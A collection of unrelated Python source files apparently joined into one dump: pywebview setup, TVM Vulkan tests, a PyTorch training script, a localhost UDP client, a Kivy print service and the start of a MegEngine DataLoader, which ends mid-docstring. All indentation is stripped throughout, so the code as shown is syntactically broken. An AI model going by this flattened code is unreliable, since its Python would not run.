import logging
import os
import re
import sys
import threading
from uuid import uuid4
from copy import deepcopy
from webview.event import Event
from webview.guilib import initialize
from webview.util import _token, base_uri, parse_file_type, escape_string, transform_url, make_unicode, escape_line_breaks, WebViewException
from webview.window import Window
from .localization import localization as original_localization
logger = logging.getLogger('pywebview')
handler = logging.StreamHandler()
formatter = logging.Formatter('[pywebview] %(message)s')
handler.setFormatter(formatter)
logger.addHandler(handler)
log_level = logging.DEBUG if os.environ.get('PYWEBVIEW_LOG') == 'debug' else logging.INFO
logger.setLevel(log_level)
OPEN_DIALOG = 10
FOLDER_DIALOG = 20
SAVE_DIALOG = 30
guilib = None
_debug = False
_user_agent = None
_multiprocessing = False
_http_server = False
token = _token
windows = []
def start(func=None, args=None, localization={}, gui=None, debug=False, http_server=False, user_agent=None):
global guilib, _debug, _multiprocessing, _http_server, _user_agent
def _create_children(other_windows):
if not windows[0].shown.wait(10):
raise WebViewException('Main window failed to load')
for window in other_windows:
guilib.create_window(window)
_debug = debug
_user_agent = user_agent
#_multiprocessing = multiprocessing
multiprocessing = False # TODO
_http_server = http_server
if multiprocessing:
from multiprocessing import Process as Thread
else:
from threading import Thread
original_localization.update(localization)
if threading.current_thread().name != 'MainThread':
raise WebViewException('This function must be run from a main thread.')
if len(windows) == 0:
raise WebViewException('You must create a window first before calling this function.')
guilib = initialize(gui)
# thanks to the buggy EdgeHTML, http server must be used for local urls
if guilib.renderer == 'edgehtml':
http_server = True
for window in windows:
window._initialize(guilib, multiprocessing, http_server)
if len(windows) > 1:
t = Thread(target=_create_children, args=(windows[1:],))
t.start()
if func:
if args is not None:
if not hasattr(args, '__iter__'):
args = (args,)
t = Thread(target=func, args=args)
else:
t = Thread(target=func)
t.start()
guilib.create_window(windows[0])
def create_window(title, url=None, html=None, js_api=None, width=800, height=600, x=None, y=None,
resizable=True, fullscreen=False, min_size=(200, 100), hidden=False, frameless=False,
minimized=False, on_top=False, confirm_close=False, background_color='#FFFFFF',
text_select=False):
"""
Create a web view window using a native GUI. The execution blocks after this function is invoked, so other
program logic must be executed in a separate thread.
:param title: Window title
:param url: URL to load
:param width: window width. Default is 800px
:param height:window height. Default is 600px
:param resizable True if window can be resized, False otherwise. Default is True
:param fullscreen: True if start in fullscreen mode. Default is False
:param min_size: a (width, height) tuple that specifies a minimum window size. Default is 200x100
:param hidden: Whether the window should be hidden.
:param frameless: Whether the window should have a frame.
:param minimized: Display window minimized
:param on_top: Keep window above other windows (required OS: Windows)
:param confirm_close: Display a window close confirmation dialog. Default is False
:param background_color: Background color as a hex string that is displayed before the content of webview is loaded. Default is white.
:param text_select: Allow text selection on page. Default is False.
:return: window object.
"""
valid_color = r'^#(?:[0-9a-fA-F]{3}){1,2}$'
if not re.match(valid_color, background_color):
raise ValueError('{0} is not a valid hex triplet color'.format(background_color))
uid = 'master' if len(windows) == 0 else 'child_' + uuid4().hex[:8]
window = Window(uid, make_unicode(title), transform_url(url), html,
width, height, x, y, resizable, fullscreen, min_size, hidden, frameless,
minimized, on_top, confirm_close, background_color, js_api,
text_select)
windows.append(window)
if threading.current_thread().name != 'MainThread' and guilib:
window._initialize(guilib, _multiprocessing, _http_server)
guilib.create_window(window)
return window
|
test_target_codegen_vulkan.py
|
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import random
import re
import threading
import numpy as np
import pytest
import tvm
import tvm.testing
from tvm import relay, te
from tvm.topi.math import cast
dtype = tvm.testing.parameter("float32", "int32", "float16", "int8")
fuzz_seed = tvm.testing.parameter(range(25))
# Explicitly specify a target, as this test is looking at the
# generated shader code, and is not running on an actual device.
@tvm.testing.parametrize_targets(
" ".join(
[
"vulkan",
"-supports_int8=1",
"-supports_8bit_buffer=1",
"-supports_storage_buffer_storage_class=1",
"-supports_float16=1",
"-supports_16bit_buffer=1",
]
)
)
def test_vector_comparison(target, dtype):
n = (1024,)
A = te.placeholder(n, dtype=dtype, name="A")
B = te.compute(
A.shape,
lambda i: tvm.tir.Select(
A[i] >= 0, A[i] + tvm.tir.const(1, dtype), tvm.tir.const(0, dtype)
),
name="B",
)
s = te.create_schedule(B.op)
(bx, tx) = s[B].split(s[B].op.axis[0], factor=128)
(tx, vx) = s[B].split(tx, factor=4)
s[B].bind(bx, te.thread_axis("blockIdx.x"))
s[B].bind(tx, te.thread_axis("threadIdx.x"))
s[B].vectorize(vx)
f = tvm.build(s, [A, B], target)
# Verify we generate the boolx4 type declaration and the OpSelect
# v4{float,half,int} instruction
assembly = f.imported_modules[0].get_source()
matches = re.findall("%v4bool = OpTypeVector %bool 4", assembly)
assert len(matches) == 1
matches = re.findall("OpSelect %v4.*", assembly)
assert len(matches) == 1
def test_array_copy(dev, dtype, fuzz_seed):
np.random.seed(fuzz_seed)
log_arr_size = np.random.uniform(low=np.log(1), high=np.log(32768))
arr_size = np.exp(log_arr_size).astype(int)
a_np = np.random.uniform(size=(arr_size,)).astype(dtype)
a = tvm.nd.empty((arr_size,), dtype, dev).copyfrom(a_np)
b_np = a.numpy()
tvm.testing.assert_allclose(a_np, b_np)
tvm.testing.assert_allclose(a_np, a.numpy())
@tvm.testing.exclude_targets("llvm")
def test_array_vectorize_add(target, dev, dtype):
arr_size = 64
lanes = 2
num_thread = 8
A = te.placeholder((arr_size,), name="A", dtype="%sx%d" % (dtype, lanes))
B = te.compute((arr_size,), lambda i: A[i] + tvm.tir.const(1, A.dtype), name="B")
s = te.create_schedule(B.op)
xo, xi = s[B].split(B.op.axis[0], factor=num_thread)
s[B].bind(xo, te.thread_axis("blockIdx.x"))
s[B].bind(xi, te.thread_axis("threadIdx.x"))
fun = tvm.build(s, [A, B], target)
a = tvm.nd.empty((arr_size,), A.dtype, dev).copyfrom(np.random.uniform(size=(arr_size, lanes)))
c = tvm.nd.empty((arr_size,), B.dtype, dev)
fun(a, c)
tvm.testing.assert_allclose(c.numpy(), a.numpy() + 1)
@tvm.testing.parametrize_targets("vulkan")
@pytest.mark.skip("Flaky, https://github.com/apache/tvm/issues/10779")
def test_vulkan_stress(target, dev):
"""
Launch a randomized test with multiple kernels per stream, multiple uses of
kernels per stream, over multiple threads.
"""
n = 1024
num_thread = 64
def run_stress():
def worker():
A = te.placeholder((n,), name="A", dtype="float32")
B = te.placeholder((n,), name="B", dtype="float32")
functions = [
(
lambda: te.compute((n,), lambda i: 2 * A[i] + 3 * B[i]),
lambda a, b: 2 * a + 3 * b,
),
(lambda: te.compute((n,), lambda i: A[i] + B[i]), lambda a, b: a + b),
(lambda: te.compute((n,), lambda i: A[i] + 2 * B[i]), lambda a, b: a + 2 * b),
]
def build_f(f_ref):
(C_f, ref) = f_ref
C = C_f()
s = te.create_schedule(C.op)
xo, xi = s[C].split(C.op.axis[0], factor=num_thread)
s[C].bind(xo, te.thread_axis("blockIdx.x"))
s[C].bind(xi, te.thread_axis("threadIdx.x"))
fun = tvm.build(s, [A, B, C], target)
return (fun, ref)
fs = [
build_f(random.choice(functions)) for _ in range(np.random.randint(low=1, high=10))
]
a = tvm.nd.empty((n,), A.dtype, dev).copyfrom(np.random.uniform(size=(n,)))
b = tvm.nd.empty((n,), B.dtype, dev).copyfrom(np.random.uniform(size=(n,)))
cs = [tvm.nd.empty((n,), A.dtype, dev) for _ in fs]
for ((f, _), c) in zip(fs, cs):
f(a, b, c)
for ((_, ref), c) in zip(fs, cs):
tvm.testing.assert_allclose(c.numpy(), ref(a.numpy(), b.numpy()))
ts = [threading.Thread(target=worker) for _ in range(np.random.randint(1, 10))]
for t in ts:
t.start()
for t in ts:
t.join()
run_stress()
@tvm.testing.exclude_targets("llvm")
def test_vulkan_bool_load(target, dev):
arr_size = 1024
target = tvm.target.Target(target)
if target.kind.name == "vulkan":
supports_int8_buffer = target.attrs.get("supports_int8", False) and target.attrs.get(
"supports_8bit_buffer", False
)
if not supports_int8_buffer:
pytest.xfail(
"Vulkan target does not support int8 buffer access, used to transfer booleans"
)
def do_copy(A, B, n):
ib = tvm.tir.ir_builder.create()
A = ib.buffer_ptr(A)
B = ib.buffer_ptr(B)
tx = te.thread_axis("threadIdx.x")
bx = te.thread_axis("blockIdx.x")
max_threads = 32
ib.scope_attr(bx, "thread_extent", tvm.tir.indexdiv(n + max_threads - 1, max_threads))
ib.scope_attr(tx, "thread_extent", max_threads)
tid = bx * max_threads + tx
with ib.if_scope(tid < n):
B[tid] = cast(A[tid], "int32")
return ib.get()
A = te.placeholder((arr_size,), name="A", dtype="bool")
B = te.placeholder((arr_size,), name="B", dtype="int32")
B = te.extern(
A.shape,
[A],
lambda ins, outs: do_copy(ins[0], outs[0], arr_size),
name="bool_copy_ir",
dtype="int32",
)
s = te.create_schedule(B.op)
with tvm.transform.PassContext(opt_level=3):
func = tvm.build(s, [A, B], target)
a_np = np.random.uniform(size=arr_size) > 0.5
b_np = np.zeros((arr_size,), dtype="int32")
a = tvm.nd.array(a_np, dev)
b = tvm.nd.array(b_np, dev)
func(a, b)
ref = a_np.astype(np.int32)
tvm.testing.assert_allclose(b.numpy(), ref)
def check_mod(target, dev, mod, x_np, res_np):
res = relay.create_executor("vm", mod=mod, device=dev, target=target).evaluate()(x_np).numpy()
tvm.testing.assert_allclose(res, res_np, atol=1e-5)
def test_sqrt(target, dev):
# Three 32 bit pushconstants: any_dim, stride, stride
dtype = "float32"
x = relay.var("x", shape=(relay.Any(),), dtype=dtype)
mod = tvm.IRModule()
mod["main"] = relay.Function([x], relay.sqrt(x))
x_np = np.random.uniform(size=(10,)).astype(dtype)
res_np = np.sqrt(x_np)
check_mod(target, dev, mod, x_np, res_np)
def test_argsort(target, dev):
# One 64 bit and one 32 bit constants
dtype = "int32"
x = relay.var("x", shape=(relay.Any(),), dtype=dtype)
mod = tvm.IRModule()
mod["main"] = relay.Function([x], relay.argsort(x))
x_np = np.random.randint(0, high=10, size=(10,)).astype(dtype)
res_np = np.argsort(x_np)
check_mod(target, dev, mod, x_np, res_np)
def test_cumsum(target, dev):
# One 64 bit and one 32 bit constants
dtype = "int32"
x = relay.var("x", shape=(relay.Any(),), dtype=dtype)
mod = tvm.IRModule()
mod["main"] = relay.Function([x], relay.cumsum(x))
x_np = np.random.randint(0, high=10, size=(10,)).astype(dtype)
res_np = np.cumsum(x_np)
check_mod(target, dev, mod, x_np, res_np)
def test_unique(target, dev):
dtype = "int32"
x = relay.var("x", shape=(relay.Any(),), dtype=dtype)
mod = tvm.IRModule()
[unique, _, _, num_unique] = relay.unique(x, is_sorted=True)
mod["main"] = relay.Function([x], relay.op.strided_slice(unique, begin=[0], end=num_unique))
x_np = np.random.randint(0, high=10, size=(10,)).astype(dtype)
res_np = np.unique(x_np)
check_mod(target, dev, mod, x_np, res_np)
vulkan_parameter_impl = tvm.testing.parameter("push_constants", "ubo")
vulkan_parameter_dtype = tvm.testing.parameter("int32", "float32", "int64")
# Only run on vulkan because extremely large numbers of input
# parameters can crash cuda/llvm compiler.
@tvm.testing.parametrize_targets("vulkan -from_device=0")
def test_vulkan_constant_passing(target, dev, vulkan_parameter_impl, vulkan_parameter_dtype):
target = tvm.target.Target(target)
dtype = vulkan_parameter_dtype
if not target.attrs.get("supports_int64", False):
pytest.xfail("Vulkan target does not support Int64 variables")
# f_add has 3+num_int_params scalar parameters. The other three
# are length_n, stride1, and stride2.
if vulkan_parameter_impl == "push_constants":
# 4 params, 32 bytes. Within 128-byte spec-guaranteed size of
# push constants. Uses push constants.
num_int_params = 1
else:
# 24 params, 192 bytes. May be above spec-guaranteed size of 128
# bytes for push constants. Uses either push constants or UBO,
# depending on the device.
max_push_constants_size = int(target.attrs.get("max_push_constants_size", 128))
max_int_params_in_push = max_push_constants_size // 8 - 3
num_int_params = max_int_params_in_push + 1
n = te.var("n")
scalars = [te.var("scale{}".format(i), dtype=dtype) for i in range(num_int_params)]
scalar_sum = scalars[0]
for s in scalars[1:]:
scalar_sum += s
A = te.placeholder((n,), name="A", dtype=dtype)
B = te.compute(A.shape, lambda i: scalar_sum + A[i], name="B")
s = te.create_schedule(B.op)
xo, xi = s[B].split(B.op.axis[0], factor=64)
s[B].bind(xo, te.thread_axis("blockIdx.x"))
s[B].bind(xi, te.thread_axis("threadIdx.x"))
f_add = tvm.build(s, scalars + [A, B], target)
n = 1024
scalars = np.array([1 for _ in scalars]).astype(dtype)
a = tvm.nd.array(np.random.uniform(size=n).astype(A.dtype), dev)
b = tvm.nd.array(np.zeros(n, dtype=B.dtype), dev)
f_add(*scalars, a, b)
tvm.testing.assert_allclose(a.numpy() + sum(scalars), b.numpy())
def test_vulkan_while_if(target, dev):
target = tvm.target.Target(target)
def do_compute(A, B, n):
ib = tvm.tir.ir_builder.create()
A = ib.buffer_ptr(A)
B = ib.buffer_ptr(B)
if "gpu" in target.keys:
ib.scope_attr(te.thread_axis("blockIdx.x"), "thread_extent", 0)
iterations = ib.allocate("int32", (1,), name="iterations", scope="local")
iterations[0] = 0
B[0] = 0
# WhileNode's condition is re-evaluated every loop. The
# if_then_else block introduces additional labels/blocks that
# must be kept separate from the WhileNode's block.
loop_condition = iterations[0] < tvm.tir.if_then_else(A[0] > 0, 10, 20)
with ib.while_loop(loop_condition):
iterations[0] += 1
B[0] += iterations[0]
return ib.get()
n = 1
dtype = "int32"
A = te.placeholder((n,), name="A", dtype=dtype)
B = te.extern(
A.shape,
[A],
lambda ins, outs: do_compute(ins[0], outs[0], n),
dtype=dtype,
)
s = te.create_schedule(B.op)
# Point of failure would be here, at tvm.build.
with tvm.transform.PassContext(opt_level=3):
func = tvm.build(s, [A, B], target)
a = tvm.nd.array(np.array([5], dtype=A.dtype), dev)
b = tvm.nd.array(np.zeros(n, dtype=A.dtype), dev)
func(a, b)
tvm.testing.assert_allclose(b.numpy(), [55])
a = tvm.nd.array(np.array([-5], dtype=A.dtype), dev)
b = tvm.nd.array(np.zeros(n, dtype=A.dtype), dev)
func(a, b)
tvm.testing.assert_allclose(b.numpy(), [210])
@tvm.testing.exclude_targets("llvm")
def test_vulkan_local_threadidx(target, dev):
# To access the thread index, the vulkan runtime accesses a global
# array of thread indices, storing the result in a local variable.
# In CUDA, these are the built-in threadIdx.x variables, which are
# globally accessible. In vulkan, these local variables must be
# defined inside a function, but are hoisted up to the function
# header to mimic the global CUDA semantics. Before this
# hoisting, this test could trigger spvValidate errors for
# potentially undeclared variables.
def do_compute(A, B, n):
ib = tvm.tir.ir_builder.create()
A = ib.buffer_ptr(A)
B = ib.buffer_ptr(B)
# One single declaration of te.thread_axis.
tx = te.thread_axis("threadIdx.x")
with ib.for_range(0, 1):
# Used inside a for-loop scope, defines local thread_id
# variable.
ib.scope_attr(tx, "thread_extent", 16)
B[tx + 0] = A[tx + 0]
with ib.for_range(0, 1):
# Used in next scope. If local variable defined at point
# of use instead of function header, will fail spvValidate
# for access of out-of-scope local variable.
ib.scope_attr(tx, "thread_extent", 16)
B[tx + 16] = A[tx + 16]
return ib.get()
n = te.var("n")
A = te.placeholder((n,), name="A", dtype="int32")
B = te.placeholder((n,), name="B", dtype="int32")
B = te.extern(
A.shape,
[A],
lambda ins, outs: do_compute(ins[0], outs[0], n),
dtype="int32",
)
s = te.create_schedule(B.op)
# Expected failure occurs at build step.
func = tvm.build(s, [A, B], target)
n = 32
a_np = np.arange(n).astype(dtype=A.dtype)
b_np = np.zeros((n,), dtype="int32")
a = tvm.nd.array(a_np, dev)
b = tvm.nd.array(b_np, dev)
func(a, b)
tvm.testing.assert_allclose(b.numpy(), a_np)
class TestVectorizedIndices:
load_type, store_type = tvm.testing.parameters(
# Load N values, write to N locations.
# Vectorized copy.
("ramp", "ramp"),
# Load 1 value, write to N locations.
# Scalar load, vectorized store.
#
# Most TVM operations (e.g. schedule[tensor].vectorize(axis)) have
# the broadcast outside of the index, but it is semantically okay
# for the broadcast to be inside the index, and it shows up with
# some optimizations.
("broadcast", "ramp"),
# Load 1 values, write to 1 location.
# Broadcasting on both sides should be equivalent to a scalar copy.
("broadcast", "broadcast"),
# Loads N values, write to 1 location.
# Disabled as it would have unclear semantics.
# ("ramp","broadcoast"),
)
indirect_indices = tvm.testing.parameter(True, False, ids=["reorder", "no_reorder"])
@tvm.testing.fixture
def ref_data(self, load_type, store_type, indirect_indices):
n = 4
index_map = {
"ramp": np.arange(n),
"broadcast": np.zeros(n, dtype="int32"),
}
a_np = np.random.randint(np.iinfo("int32").max, size=n).astype("int32")
b_np = np.zeros(shape=n, dtype=a_np.dtype)
reorder_np = np.arange(n, dtype="int32")[::-1]
load_index = index_map[load_type]
store_index = index_map[store_type]
if indirect_indices:
load_index = reorder_np[load_index]
b_np[store_index] = a_np[load_index]
return a_np, reorder_np, b_np
@tvm.testing.fixture
def mod(self, target, load_type, store_type, indirect_indices):
target = tvm.target.Target(target)
n = 4
dtype = "int32"
A = te.placeholder((n,), dtype=dtype, name="A")
R = te.placeholder((n,), dtype=dtype, name="R")
def do_compute(ins, outs):
ib = tvm.tir.ir_builder.create()
A, R = map(ib.buffer_ptr, ins)
B = ib.buffer_ptr(outs[0])
if "gpu" in target.keys:
ib.scope_attr(te.thread_axis("blockIdx.x"), "thread_extent", 0)
index_map = {
"ramp": tvm.tir.Ramp(0, 1, 4),
"broadcast": tvm.tir.Broadcast(0, 4),
}
load_index = index_map[load_type]
store_index = index_map[store_type]
if indirect_indices:
load_index = R[load_index]
B[store_index] = A[load_index]
return ib.get()
B = te.extern(A.shape, [A, R], do_compute, dtype="int32")
s = te.create_schedule(B.op)
return tvm.lower(s, [A, R, B])
def test_ramp_broadcast_index(self, target, dev, mod, ref_data):
f = tvm.build(mod, target=target)
a_np, reorder_np, b_np = ref_data
a = tvm.nd.array(a_np, dev)
r = tvm.nd.array(reorder_np, dev)
b = tvm.nd.array(np.zeros(shape=b_np.shape, dtype="int32"), dev)
f(a, r, b)
tvm.testing.assert_allclose(b.numpy(), b_np)
@tvm.testing.parametrize_targets("vulkan -max_shared_memory_per_block=16384")
def test_shared_mem_alloc(target, dev):
alloc_nbytes = 16384 * 2
def do_compute(ins, outs):
ib = tvm.tir.ir_builder.create()
out = ib.buffer_ptr(outs[0])
ib.scope_attr(te.thread_axis("blockIdx.x"), "thread_extent", 0)
array = ib.allocate("int32", (alloc_nbytes,), name="array", scope="shared")
array[0] = 0
out[0] = array[0]
return ib.get()
Out = te.extern(
shape=(1,),
inputs=[],
fcompute=do_compute,
dtype="int32",
)
s = te.create_schedule(Out.op)
# Codegen should raise error when allocating more memory than the
# target supports.
with pytest.raises(tvm.TVMError):
tvm.build(s, [Out], target)
if __name__ == "__main__":
import sys
sys.exit(pytest.main([__file__] + sys.argv[1:]))
|
train.py
|
import torch
import torch.distributed as dist
import torch.multiprocessing as mp
from data import Vocab, DataLoader, STR, END, CLS, SEL, TL, rCLS
from generator import Generator
from extract import LexicalMap
from adam import AdamWeightDecayOptimizer
from utils import move_to_device
from work import validate
import argparse, os
import random
def parse_config():
parser = argparse.ArgumentParser()
# vocabs
parser.add_argument('--token_vocab', type=str)
parser.add_argument('--concept_vocab', type=str)
parser.add_argument('--predictable_token_vocab', type=str)
parser.add_argument('--token_char_vocab', type=str)
parser.add_argument('--concept_char_vocab', type=str)
parser.add_argument('--relation_vocab', type=str)
parser.add_argument('--pretrained_file', type=str, default=None)
# concept/token encoders
parser.add_argument('--token_char_dim', type=int)
parser.add_argument('--token_dim', type=int)
parser.add_argument('--concept_char_dim', type=int)
parser.add_argument('--concept_dim', type=int)
# char-cnn
parser.add_argument('--cnn_filters', type=int, nargs = '+')
parser.add_argument('--char2word_dim', type=int)
parser.add_argument('--char2concept_dim', type=int)
# relation encoder
parser.add_argument('--rel_dim', type=int)
parser.add_argument('--rnn_hidden_size', type=int)
parser.add_argument('--rnn_num_layers', type=int)
# core architecture
parser.add_argument('--embed_dim', type=int)
parser.add_argument('--ff_embed_dim', type=int)
parser.add_argument('--num_heads', type=int)
parser.add_argument('--snt_layers', type=int)
parser.add_argument('--graph_layers', type=int)
parser.add_argument('--inference_layers', type=int)
# dropout/unk
parser.add_argument('--dropout', type=float)
parser.add_argument('--unk_rate', type=float)
# IO
parser.add_argument('--total_train_steps', type=int)
parser.add_argument('--train_data', type=str)
parser.add_argument('--dev_data', type=str)
parser.add_argument('--train_batch_size', type=int)
parser.add_argument('--dev_batch_size', type=int)
parser.add_argument('--lr', type=float)
parser.add_argument('--warmup_steps', type=int)
parser.add_argument('--ckpt', type=str)
parser.add_argument('--print_every', type=int)
parser.add_argument('--eval_every', type=int)
# distributed training
parser.add_argument('--world_size', type=int)
parser.add_argument('--gpus', type=int)
parser.add_argument('--MASTER_ADDR', type=str)
parser.add_argument('--MASTER_PORT', type=str)
parser.add_argument('--start_rank', type=int)
return parser.parse_args()
def average_gradients(model):
size = float(dist.get_world_size())
for param in model.parameters():
if param.grad is not None:
dist.all_reduce(param.grad.data, op=dist.ReduceOp.SUM)
param.grad.data /= size
def update_lr(optimizer, embed_size, steps, warmup_steps):
for param_group in optimizer.param_groups:
param_group['lr'] = embed_size**-0.5 * min(steps**-0.5, steps*(warmup_steps**-1.5))
def data_proc(data, queue):
while True:
for x in data:
queue.put(x)
queue.put('EPOCHDONE')
def main(args, local_rank):
vocabs = dict()
vocabs['concept'] = Vocab(args.concept_vocab, 5, [CLS])
vocabs['token'] = Vocab(args.token_vocab, 5, [STR, END])
vocabs['predictable_token'] = Vocab(args.predictable_token_vocab, 5, [END])
vocabs['token_char'] = Vocab(args.token_char_vocab, 100, [STR, END])
vocabs['concept_char'] = Vocab(args.concept_char_vocab, 100, [STR, END])
vocabs['relation'] = Vocab(args.relation_vocab, 5, [CLS, rCLS, SEL, TL])
lexical_mapping = LexicalMap()
for name in vocabs:
print ((name, vocabs[name].size, vocabs[name].coverage))
torch.manual_seed(19940117)
torch.cuda.manual_seed_all(19940117)
random.seed(19940117)
#device = torch.device('cpu')
device = torch.device('cuda', local_rank)
model = Generator(vocabs,
args.token_char_dim, args.token_dim,
args.concept_char_dim, args.concept_dim,
args.cnn_filters, args.char2word_dim, args.char2concept_dim,
args.rel_dim, args.rnn_hidden_size, args.rnn_num_layers,
args.embed_dim, args.ff_embed_dim, args.num_heads, args.dropout,
args.snt_layers, args.graph_layers, args.inference_layers,
args.pretrained_file,
device)
if args.world_size > 1:
torch.manual_seed(19940117 + dist.get_rank())
torch.cuda.manual_seed_all(19940117 + dist.get_rank())
random.seed(19940117+dist.get_rank())
model = model.to(device)
train_data = DataLoader(vocabs, lexical_mapping, args.train_data, args.train_batch_size, for_train=True)
#dev_data = DataLoader(vocabs, lexical_mapping, args.dev_data, args.dev_batch_size, for_train=False)
train_data.set_unk_rate(args.unk_rate)
weight_decay_params = []
no_weight_decay_params = []
for name, param in model.named_parameters():
if name.endswith('bias') or 'layer_norm' in name:
no_weight_decay_params.append(param)
else:
weight_decay_params.append(param)
grouped_params = [{'params':weight_decay_params, 'weight_decay':1e-4},
{'params':no_weight_decay_params, 'weight_decay':0.}]
optimizer = AdamWeightDecayOptimizer(grouped_params, lr=args.lr, betas=(0.9, 0.999), eps=1e-6)
batches_acm, loss_acm = 0, 0
discarded_batches_acm = 0
queue = mp.Queue(10)
train_data_generator = mp.Process(target=data_proc, args=(train_data, queue))
train_data_generator.start()
model.train()
epoch = 0
while batches_acm < args.total_train_steps:
batch = queue.get()
if isinstance(batch, str):
epoch += 1
print ('epoch', epoch, 'done', 'batches', batches_acm)
continue
batch = move_to_device(batch, device)
loss = model(batch)
loss_value = loss.item()
if batches_acm > args.warmup_steps and loss_value > 5.*(loss_acm /batches_acm):
discarded_batches_acm += 1
print ('abnormal', loss_value)
continue
loss_acm += loss_value
batches_acm += 1
loss.backward()
if args.world_size > 1:
average_gradients(model)
torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)
update_lr(optimizer, args.embed_dim, batches_acm, args.warmup_steps)
optimizer.step()
optimizer.zero_grad()
if args.world_size == 1 or (dist.get_rank() == 0):
if batches_acm % args.print_every == -1 % args.print_every:
print ('Train Epoch %d, Batch %d, Discarded Batch %d, loss %.3f'%(epoch, batches_acm, discarded_batches_acm, loss_acm/batches_acm))
model.train()
if batches_acm > args.warmup_steps and batches_acm % args.eval_every == -1 % args.eval_every:
#model.eval()
#bleu, chrf = validate(model, dev_data)
#print ("epoch", "batch", "bleu", "chrf")
#print (epoch, batches_acm, bleu, chrf)
torch.save({'args':args, 'model':model.state_dict()}, '%s/epoch%d_batch%d'%(args.ckpt, epoch, batches_acm))
model.train()
def init_processes(args, local_rank, backend='nccl'):
os.environ['MASTER_ADDR'] = args.MASTER_ADDR
os.environ['MASTER_PORT'] = args.MASTER_PORT
dist.init_process_group(backend, rank=args.start_rank+local_rank, world_size=args.world_size)
main(args, local_rank)
if __name__ == "__main__":
args = parse_config()
if not os.path.exists(args.ckpt):
os.mkdir(args.ckpt)
assert len(args.cnn_filters)%2 == 0
args.cnn_filters = list(zip(args.cnn_filters[:-1:2], args.cnn_filters[1::2]))
if args.world_size == 1:
main(args, 0)
exit(0)
processes = []
for rank in range(args.gpus):
p = mp.Process(target=init_processes, args=(args, rank))
p.start()
processes.append(p)
for p in processes:
p.join()
never_stop = True
while never_stop:
never_stop = True
|
UDP_client.py
|
import socket
import time
import threading
import random
HOST = '127.0.0.1' # The server's hostname or IP address
PORT = 63455 # The port used by the server
server_addr = (HOST,PORT)
messages = [b'Message 1 from client.', b'Message 2 from client.',b'Message 3 from client.',b'KRAJ']
def spoji(tid):
print('contacting', server_addr)
sock= socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
time.sleep(random.randint(1,2))
print('sending', messages[0], 'to connection', server_addr, ' from thread: ', tid)
sock.sendto(messages[0],(HOST,PORT))
time.sleep(random.randint(1,2))
print('sending', messages[1], 'to connection', server_addr, ' from thread: ', tid)
sock.sendto(messages[1],(HOST,PORT))
time.sleep(random.randint(1,2))
print('sending', messages[2], 'to connection', server_addr, ' from thread: ', tid)
sock.sendto(messages[2],(HOST,PORT))
time.sleep(random.randint(1,2))
print('sending', messages[3], 'to connection', server_addr, ' from thread: ', tid)
sock.sendto(messages[3],(HOST,PORT))
while True:
recv_data = sock.recv(1024) # Shouldbereadyto read
if recv_data:
print('received', repr(recv_data), 'to thread ', tid)
if recv_data[len(recv_data)-4:]==b'KRAJ':
print('Završi thread',tid)
break
brojac=0
tlista=[]
while brojac < 3:
tlista.append(threading.Thread(target=spoji, args=(brojac,)))
tlista[len(tlista)-1].start()
brojac+=1
|
print_service.py
|
import time
import Queue
import threading
from contextlib import contextmanager
from kivy.utils import platform
from kivy.event import EventDispatcher
from kivy.properties import (StringProperty, ObjectProperty)
from kivy.clock import Clock, mainthread
from ristomele.logger import Logger
from ristomele.gui.error import ErrorMessage
class PrintService(EventDispatcher):
app = ObjectProperty()
status = StringProperty("ok") # ok, printing, error
status_class = StringProperty("primary")
# ==============================
# Main thread
# ==============================
def __init__(self, **kwargs):
super(PrintService, self).__init__(**kwargs)
self.thread = threading.Thread(target=self.run, name='PrintService')
self.thread.daemon = True
self.to_print = Queue.Queue()
self.running = False
def start(self):
self.running = True
self.thread.start()
def stop(self):
# give the sync thread enough time to shut down gracefully. If it
# takes more than 1 seconds, the whole thread will be brutally killed
# because daemon==True
self.running = False
# put something to ensure that the queue is not empty
self.to_print.put((None, None))
self.thread.join(1)
@mainthread
def set_status(self, status, cssclass):
self.status = status
self.status_class = cssclass
@contextmanager
def printing(self):
self.set_status('printing', 'warning')
try:
yield
except Exception, e:
self.set_status('error', 'danger')
self.app.exception_handler.handle_exception(e)
else:
self.set_status('ok', 'primary')
def submit(self, printer_name, text):
self.to_print.put((printer_name, text))
# ==============================
# PrintService thread
# ==============================
def run(self):
Logger.info('PrintService: thread started')
while self.running:
printer_name, text = self.to_print.get() # blocking
if text is None:
# probably put by .stop()
Logger.info('PrintService: text is None, ignoring')
continue
Logger.info('PrintService: got text, printing: %s' % text[:50])
with self.printing():
if platform == 'android':
from ristomele.gui.printer import print_string
print_string(printer_name, text)
else:
print 'Fake connection to the printer...'
time.sleep(2)
raise ErrorMessage("problem")
print
print text
print
Logger.info('PrintService: stop')
|
dataloader.py
|
# -*- coding: utf-8 -*-
# MegEngine is Licensed under the Apache License, Version 2.0 (the "License")
#
# Copyright (c) 2014-2020 Megvii Inc. All rights reserved.
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT ARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
import collections
import math
import multiprocessing
import platform
import queue
import random
import time
import numpy as np
from ..logger import get_logger
from ..random.rng import _random_seed_generator
from .collator import Collator
from .dataset import Dataset, StreamDataset
from .sampler import MapSampler, Sampler, SequentialSampler, StreamSampler
from .transform import PseudoTransform, Transform
logger = get_logger(__name__)
MP_QUEUE_GET_TIMEOUT = 5
class DataLoader:
__initialized = False
def __init__(
self,
dataset: Dataset,
sampler: Sampler = None,
transform: Transform = None,
collator: Collator = None,
num_workers: int = 0,
timeout: int = 0,
divide: bool = False,
):
r"""
Provides a convenient way to iterate on a given dataset.
`DataLoader` combines a dataset with `sampler`, `transform` and `collator`,
make it flexible to get minibatch continually from a dataset.
:type dataset: Dataset
:param dataset: dataset from which to load the minibatch.
:type sampler: Sampler
:param sampler: defines the strategy to sample data from the dataset.
:type transform: Transform
:param transform: defined the transforming strategy for a sampled batch.
Default: None
